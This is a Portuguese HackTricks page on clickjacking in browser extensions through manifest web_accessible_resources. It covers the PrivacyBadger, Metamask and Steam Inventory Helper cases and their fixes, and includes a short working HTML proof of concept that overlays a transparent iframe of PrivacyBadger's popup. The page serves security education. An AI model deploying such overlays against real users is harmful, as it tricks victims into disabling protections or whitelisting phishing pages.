6.2 KiB
BrowExt - ClickJacking
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Participe do grupo 💬 Discord ou do grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.
Informações Básicas
Esta página vai explorar uma vulnerabilidade de ClickJacking em uma extensão de navegador.
Se você não sabe o que é ClickJacking, confira:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Extensões contêm o arquivo manifest.json
e esse arquivo JSON tem um campo web_accessible_resources
. Veja o que a documentação do Chrome diz sobre isso:
Esses recursos estariam então disponíveis em uma página da web através da URL
chrome-extension://[ID DO PACOTE]/[CAMINHO]
, que pode ser gerada com o métodoextension.getURL
. Recursos na lista de permissões são servidos com cabeçalhos CORS apropriados, então eles estão disponíveis através de mecanismos como XHR.1
Além de serem acessíveis pela web, os recursos no web_accessible_resources
funcionam com a autoridade ambiente da extensão: eles podem alterar o estado, carregar outros recursos e modificar o navegador de certas maneiras. Se um documento em web_accessible_resources
pode realizar qualquer comportamento interessante, um atacante pode incorporá-lo em uma página da web e enganar visitantes para ativá-lo.
Exemplo do PrivacyBadger
Foi descoberto que na extensão PrivacyBadger, os conteúdos do diretório skin/
eram web_accessible_resources
:
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ao carregar skin/popup.html
, o documento que é renderizado quando você clica no ícone do PrivacyBadger no navegador, em um iframe poderíamos enganar o usuário a clicar em "Desativar PrivacyBadger para este site", expondo o usuário a rastreamento adicional e comprometendo a função do PrivacyBadger. Confira o exemplo de vídeo de ClickJacking em https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm
A correção foi simples: remover /skin/*
dos web_accessible_resources
.
PoC
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Exemplo Metamask
Um post de blog sobre um ClickJacking no Metamask pode ser encontrado aqui. Neste caso, o Metamask corrigiu a vulnerabilidade verificando se o protocolo usado para acessá-lo era https:
ou http:
(e não chrome:
, por exemplo):
Outro ClickJacking corrigido na extensão do Metamask foi que os usuários podiam Clicar para adicionar à lista branca quando uma página era suspeita de ser phishing por causa de “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Como essa página era vulnerável a Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar em adicionar à lista branca sem perceber, e depois voltar para a página de phishing que estaria na lista branca.
Exemplo Steam Inventory Helper
Verifique a seguinte página para entender como um XSS em uma extensão de navegador foi combinado com uma vulnerabilidade de ClickJacking:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
Referências
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.